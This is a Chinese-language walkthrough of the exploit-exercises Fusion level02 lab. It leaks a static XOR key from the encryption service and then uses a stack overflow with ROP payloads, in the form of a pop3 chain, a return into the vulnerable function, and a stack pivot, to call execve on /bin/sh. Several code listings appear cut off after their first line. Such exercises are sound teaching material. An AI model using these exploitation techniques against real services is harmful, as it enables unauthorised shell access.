题目来源:https://exploit-exercises.com/fusion/level02/
Vulnerability Type | Stack |
---|---|
Position Independent Executable | No |
Read only relocations | No |
Non-Executable stack | Yes |
Non-Executable heap | Yes |
Address Space Layout Randomisation | Yes |
Source Fortification | No |
程序开启了ASLR和NX,漏洞程序源码如下
1 | #include "../common/common.c" |
看着这buffer也太大了,有点吓,我总结了三点
- 首先我们不输入Q是不会退出的
- buffer的长度是我们指定的,肯定能溢出
- key虽然是随机的,但是只生成一次(因为是static变量),而且最后会输出buffer,那就可以泄露key的可能
0x01 泄露key
直接发128个0xff过去,回来再异或一下就可以获取key了,当然你发其他的也可以,比如A,B,C,D,E,F,G,记得回来异或一下就好
1 | def getkey(p): |
0x02开始利用
总的思路是利用read函数将/bin/sh字符串写到一个不变的地址(一般是.bss),再调用execve,或者system什么的
0x02.1定位溢出点:
首先我们得定位溢出地址,buffer很大,好像直接用字符串定位不太好使,但我们可以在加密前调试查看
1 | >>> 32 * 4096 |
buffer这么大的话,我们用131000个A,再加上100个peda生成的吧(pattern_create 100)
发送如下:
1 | data = "A" * 131000 + "AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL" |
我们在read完的下一行下断点,因为这里用ebp来索引,查看ebp+4的地址即为返回地址
1 | gdb-peda$ b *0x08049891 |
所以用peda看一下,偏移为88,所以最终为131000 + 88 = 131088
1 | gdb-peda$ pattern_offset 0x414b4141 |
0x02.2找可写地址,函数plt等地址, 构造写入
要写入binsh,首先看看哪里可写(看内存属性),一般bss段可写的,下面就印证了,地址为0x804b420
1 | gdb-peda$ maintenance info sections |
或者查看ida的program Segmentation(shift+f7),或者像下面那样看内存布局
1 | root@fusion:~# cat /proc/3885/maps |
喜欢什么用什么
接下来我们找read的plt表,为什么用plt呢,可能got表还没初始化吧(不过好像plt也是跳到got先的),其实got表应该也可以,有空可以试试
read的plt表为0x08048860(用ida或者pwntools可以获得),got表 0x0804B384
execve的plt地址080489B0,got表地址 0x0804B3D8
那么我们最终构造的栈应该如下,由于我们应多次利用,所以我们的retn应重新回到漏洞函数encrypt_file或者其他我们可控的地址
131088个填充 + read_plt + retn + 0 + bss_addr + 8
上面即调用了read(0, bss_addr, 8)
0x02.3执行binsh
可能的3种利用思路(方法):
- read后,直接pop 3个参数后调用execve(binsh,NULL,NULL)
- read后,回到漏洞函数继续同样的溢出重新利用,有时会覆盖环境变量导致执行失败,不过这里没有
- read后,栈翻转,将栈指针指向.bss段,在bss段进行rop
但是第一次发现第一个个方式都不行,经过一段漫长时间的调试,终于发现了我的key接收少了,应该recv(128),本来我写了32(因为当初一看那个数组是32,下意识就写了recv(32)),哎,找错真是费时间啊
下面尝试这三种思路
方法1
写入binsh后,直接popread的3个参数后调用execve(binsh,NULL,NULL)
覆盖的构造如下,完整利用代码看下一行
1 | payload = "A" * 131088 + p32(read_plt) + p32(pop3_ret) + p32(0) + p32(bss_addr) + p32(len(binsh)) + p32(execve_plt) + "A"*4 + p32(bss_addr) + p32(bss_null_addr) + p32(bss_null_addr) |
1 | # -*- coding: utf-8 -*- |
方法2
完整的上面已给,只给重点变的部分
先调用write_binsh,写一个binsh字符串,之后回到encrypt_file漏洞函数,再次溢出调用execve(binsh,NULL,NULL)
1 | def write_binsh(p , key): |
方法3
好像这方法叫栈翻转,就是栈指针不再指向本来的栈空间,我们控制它指向我们可以控制的内存,比如这里我们让其指向bss段首地址
我们找到如下的小组件,如0x08048b13,我们在其后放bss地址,就可以将bss段首地址复制给ebp,如果我们再有将ebp赋值给esp再ret的就完美了,那就是leave;ret,我们用rp++找一下,选了下面两个
1 | 0x08048b13: pop ebp ; ret ; (1 found) |
我们看看第一个payload,先将bss保存到ebp,之后调用read吸入bss_addr,read的返回地址为leave_ret(调用完read,ebp的值没变),之后leave_ret相当于mov esp,ebp;pop ebp; ret
1 | payload = "A" * 131088 + p32(pop_ebp_ret) + p32(bss_addr) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(bss_addr) + p32(200) |
由于上面 leave_ret有个pop ebp,所以我们写入的时候要有填充,4个A,execve_plt后面返回地址比较随便,好一点的话就搞个exit的函数咯
1 | payload2 = "A" * 4 + p32(execve_plt) + "A" * 4 + p32(binsh_addr) + p32(null_addr) + p32(null_addr) + binsh |
exp核心:
1 | def write_binsh(p , key): |